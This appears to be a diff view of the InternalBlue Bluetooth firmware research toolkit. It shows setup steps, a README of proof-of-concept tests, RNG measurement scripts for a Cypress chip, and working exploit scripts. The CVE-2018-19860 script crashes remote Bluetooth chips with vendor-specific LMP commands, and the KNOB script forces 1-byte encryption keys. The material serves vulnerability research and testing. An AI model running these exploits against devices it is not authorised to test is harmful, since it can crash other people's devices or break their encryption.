All steps on a plain *Ubuntu 18.04*:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (March 2020) *Raspbian*:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
Usage
-----
The CLI (Command Line Interface) of *InternalBlue* can be started by running:
python -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the `$PATH`
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local *Linux*
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e., establishing connections).
Use the `help` command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
-48
View File
@@ -1,48 +0,0 @@
InternalBlue PoCs and Examples
==============================
KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
NiNo Attack Test
----------------
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
+249
View File
@@ -0,0 +1,249 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
Measure the RNG of the CYW20719 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM also is broken on this one :D
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
# 0x900 seems to work
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata-%irounds-0xc00-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+245
View File
@@ -0,0 +1,245 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
Measure the RNG of the CYW20719 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM also is broken on this one :D
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
# 0x900 seems to work
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
PRAND = 0x410548 # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
# 0x41079C rxInitAngle_adr
# 0x4100AC spurFreqErr1_adr
# 0x410548 rxPskPhErr5_adr
# ?? no mm_top?
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_internalblue.logger.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata_pseudo-%irounds-0xc00-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+13 -14
View File
@@ -1,8 +1,7 @@
#!/usr/bin/python2
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.bluezcore import BluezCore
from internalblue.hcicore import HCICore
"""
Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board.
@@ -13,35 +12,35 @@ internalblue = ADBCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
except IndexError:
internalblue = BluezCore()
internalblue = HCICore()
try:
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
except IndexError:
log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
exit(-1)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Connected to first target, installing patches...")
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
# GENERATED PATCHES
internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc')
internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc')
internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb')
internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
internalblue.writeMem(0x00218200, b'\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00')
internalblue.writeMem(0x00218300, b'\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf')
internalblue.writeMem(0x00218500, b'\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00')
internalblue.writeMem(0x00218600, b'\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00')
internalblue.writeMem(0x00218800, b'\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00')
internalblue.writeMem(0x00218000, b'\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00')
# shutdown connection
internalblue.shutdown()
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+160
View File
@@ -0,0 +1,160 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
# PoC for CVE-2018-19860
from pwnlib.asm import asm
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify lm_SendLmpHostConnectionReq, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
ASM_LOCATION_VSC_EXISTS = 0x00218300
LMP_VSC_CMD_START = 0x0f # 0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
push {r5-r6, lr} // backup registers
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
// proceed as in original function lm_SendLmpHostConnectionReq
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
pop {r5-r6, lr} // restore registers
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x8691E // lm_allocLmpBlock
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
//mov r1, 0x4242
//str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
// dummy table entry
.align
table:
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
.byte 0x04
.byte 0x00
.byte 0x00
.byte 0x10 // length
.byte 0x00
.byte 0x00
.byte 0x01
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches to crash other device on connect requests...")
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
# they don't know about Cypress yet...
internalblue.logger.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data=b'\x0f\x00\x00\x00', progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
internalblue.logger.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("------------------")
internalblue.logger.info(
"To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
+60 -17
View File
@@ -1,12 +1,18 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from pwn import *
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
"""
This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board.
@@ -18,31 +24,68 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
internalblue.patchRom(0x7402A, patch)
internalblue.patchRom(Address(0x7402A), patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, '\x01') # global key entropy
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
